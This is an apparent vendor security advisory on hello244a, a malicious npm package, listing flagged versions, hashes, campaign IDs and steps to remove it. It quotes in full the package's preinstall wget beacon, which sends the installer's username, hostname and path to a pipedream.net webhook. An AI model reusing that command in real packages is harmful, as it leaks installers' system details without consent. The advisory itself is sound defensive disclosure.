Which versions of hello244a are malicious?

The following npm versions of hello244a are flagged malicious: 1.0.0, 1.0.1, 1.0.4. Treat any of these as compromised.

How do I remediate hello244a if I installed it?

Remove hello244a from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is hello244a part of a known attack campaign?

Yes — hello244a is associated with the IN-MAL-2026-005457, IN-MAL-2026-005458 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect hello244a in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking hello244a and packages like it before any post-install script runs.

Malicious package

hello244anpm

Malicious code in hello244a (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5188

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall hello244a

What this malware does

The package's package.json declares a preinstall lifecycle script that runs wget --quiet "http://eodxy50gl486xrx.m.pipedream.net/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)". On npm install, the shell expands $(whoami), $(hostname), and $(pwd) and sends the installer's OS username, hostname, and install directory to a third-party pipedream.net webhook over plain HTTP. The package ships no library code — its only effect is the install-time recon beacon. This is a classic dependency-confusion / reconnaissance beacon and constitutes installer data exfiltration to an attacker-controlled endpoint.

The OpenSSF Package Analysis project identified 'hello244a' @ 1.0.4 (npm) as malicious.

It is considered malicious because:

The package communicates with a domain associated with malicious activity.
The package executes one or more commands associated with malicious behavior.

Malicious versions

3 flagged

1.0.01.0.11.0.4

Indicators of compromise (SHA-256)

3d7e9578338cca22e41d1ac1345136162b5441eb57090bb89fbc73bd37976c71

6aa25ec24867364311a41390382cbdfeaf0fcf1d6abe655c14ade480176c0c75

888c12225acb50e47bd79ffd546a7e4d54895f9ed301ebb65074a6e32a542dae

c0816d6d3c6e3a2474dad6d42b1394acee44aa51824aa01e873bcd1060fd1982

Frequently asked questions

No. hello244a on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005457IN-MAL-2026-005458

References

Credits

Amazon Inspector · finder
OpenSSF: Package Analysis · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection